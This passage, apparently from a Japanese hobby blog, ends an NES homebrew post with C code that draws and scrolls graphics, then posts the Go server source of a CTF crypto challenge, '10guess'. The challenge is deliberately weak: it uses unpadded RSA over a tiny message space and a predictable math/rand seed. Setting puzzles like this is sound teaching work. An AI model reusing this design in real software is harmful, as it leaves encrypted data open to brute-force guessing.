            h_stat = h_stat ? 0 : 1;
        }
    }

    *REGIST_ADR = 0x24;
    *REGIST_ADR = 0x0;

    v_stat = h_stat = 1;
    for (i = 0; i < 30; i++) {
        for (j = 0; j < 32; j += 4) {
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            h_stat = h_stat ? 0 : 1;
        }
        if (i % 4 == 0) {
            h_stat = h_stat ? 0 : 1;
        }
    }

    *REGIST_PPU_CTRL1 = 0x0;
    *REGIST_PPU_CTRL2 = 0x1e;

    while (1) {
        while (!(*REGIST_PPU_STS & 0x80));
        *REGIST_SCROLL = bgx;
        *REGIST_SCROLL = bgy;
        *REGIST_DMA = 0x07;

        bgx++;
        if (bgx == 255) bgx = 0;
        bgy++;
        if (bgy == 240) bgy = 0;
    }
}

最後にスプライトを表示させて完成です。ちゃんと円を描くようにしてみました。
f:id:akiym:20140502213645p:plain

書き殴ったものをここにおいておきます。
GitHub - akiym/nes-circle: exapmle #1

ところでまだコントローラーを握っていませんね。まだまだ長い道のりになりそうです…。

CTF各位1

10guess (crypto 10)

running at ctf.katsudon.org:5555

package main

import (
	"bufio"
	cr "crypto/rand"
	"crypto/rsa"
	"fmt"
	"log"
	"math/big"
	"math/rand"
	"net"
	"strconv"
)

var seed int64 = ?????

func handleConnection(conn net.Conn) {
	log.Printf("connect: %s", conn.RemoteAddr())
	defer func() {
		log.Printf("close: %s", conn.RemoteAddr())
		conn.Close()
	}()

	priv, err := rsa.GenerateKey(cr.Reader, 2048)
	if err != nil {
		return
	}
	e := big.NewInt(int64(priv.E))

	conn.Write([]byte(fmt.Sprintf("N=%s\n", priv.N.String())))
	conn.Write([]byte(fmt.Sprintf("E=%d\n", priv.E)))

	stage := 1
	reader := bufio.NewReader(conn)
	for {
		conn.Write([]byte(fmt.Sprintf("### %d/10\n", stage)))

		expected := int(rand.Intn(0x10000))

		// encrypt
		c := new(big.Int).Exp(big.NewInt(int64(expected)), e, priv.N)
		conn.Write([]byte("C=" + c.String() + "\nM="))

		ln, err := reader.ReadBytes('\n')
		if err != nil {
			return
		}
		n, err := strconv.Atoi(string(ln[:len(ln)-1]))
		if err != nil {
			return
		}
		if n != expected {
			stage = 0
			continue
		}

		stage++

		if stage > 10 {
			log.Printf("flag: %s", conn.RemoteAddr())
			conn.Write([]byte(fmt.Sprintf("congratz! the flag is: %x\n", seed)))
			return
		} else {
			continue
		}
	}
}

func main() {
	rand.Seed(seed)

	ln, err := net.Listen("tcp", ":5555")
	if err != nil {
		log.Fatal(err)
	}

	for {
		conn, err := ln.Accept()
		if err != nil {
			continue
		}
		go handleConnection(conn)
	}
}